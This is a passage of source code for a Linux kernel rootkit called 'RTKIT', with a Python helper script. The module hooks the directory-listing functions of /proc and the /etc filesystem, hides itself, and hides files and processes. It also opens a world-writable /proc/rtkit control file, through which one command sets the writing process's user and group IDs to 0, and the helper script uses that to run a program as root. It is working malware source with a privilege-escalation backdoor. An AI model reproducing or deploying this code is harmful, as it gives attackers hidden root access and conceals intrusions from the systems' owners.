.write = rtkit_write, 258 | }; 259 | 260 | static int __init procfs_init(void) 261 | { 262 | //new entry in proc root with 666 rights 263 | proc_rtkit = proc_create("rtkit", 0666, NULL, &proc_rtkit_fops); 264 | if (proc_rtkit == NULL) return 0; 265 | proc_root = proc_rtkit->parent; 266 | if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { 267 | return 0; 268 | } 269 | 270 | sprintf(module_status, 271 | "RTKIT\n\ 272 | DESC:\n\ 273 | hides files prefixed with __rt or 10-__rt and gives root\n\ 274 | CMNDS:\n\ 275 | mypenislong - uid and gid 0 for writing process\n\ 276 | hpXXXX - hides proc with id XXXX\n\ 277 | up - unhides last process\n\ 278 | thf - toogles file hiding\n\ 279 | mh - module hide\n\ 280 | ms - module show\n\ 281 | STATUS\n\ 282 | fshide: %d\n\ 283 | pids_hidden: %d\n\ 284 | module_hidden: %d\n", hide_files, current_pid, module_hidden); 285 | 286 | size = strlen(module_status); 287 | temp = size; 288 | 289 | //substitute proc iterate to our wersion (using page mode change) 290 | proc_fops = ((struct file_operations *) proc_root->proc_fops); 291 | proc_iterate_orig = proc_fops->iterate; 292 | set_addr_rw(proc_fops); 293 | proc_fops->iterate = proc_iterate_new; 294 | set_addr_ro(proc_fops); 295 | 296 | return 1; 297 | } 298 | 299 | static int __init fs_init(void) 300 | { 301 | struct file *etc_filp; 302 | 303 | //get file_operations of /etc 304 | etc_filp = filp_open("/etc", O_RDONLY, 0); 305 | if (etc_filp == NULL) return 0; 306 | fs_fops = (struct file_operations *) etc_filp->f_op; 307 | filp_close(etc_filp, NULL); 308 | 309 | //substitute iterate of fs on which /etc is 310 | fs_iterate_orig = fs_fops->iterate; 311 | set_addr_rw(fs_fops); 312 | fs_fops->iterate = fs_iterate_new; 313 | set_addr_ro(fs_fops); 314 | 315 | return 1; 316 | } 317 | 318 | 319 | //MODULE INIT/EXIT 320 | static int __init rootkit_init(void) 321 | { 322 | if (!procfs_init() || !fs_init()) { 323 | procfs_clean(); 324 | fs_clean(); 325 | return 1; 326 | } 327 | module_hide(); 328 | 329 | return 0; 330 | } 331 | 332 | static void __exit rootkit_exit(void) 333 | { 334 | procfs_clean(); 335 | fs_clean(); 336 | } 337 | 338 | module_init(rootkit_init); 339 | module_exit(rootkit_exit); 340 | -------------------------------------------------------------------------------- /tools/rtcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import os 4 | 5 | def order(command): 6 | f = open("/proc/rtkit", "w") 7 | f.write(command) 8 | f.close() 9 | 10 | if len(sys.argv) > 1: 11 | order(sys.argv[1]) 12 | 13 | if len(sys.argv) > 2: 14 | os.execl(sys.argv[2], "") 15 | --------------------------------------------------------------------------------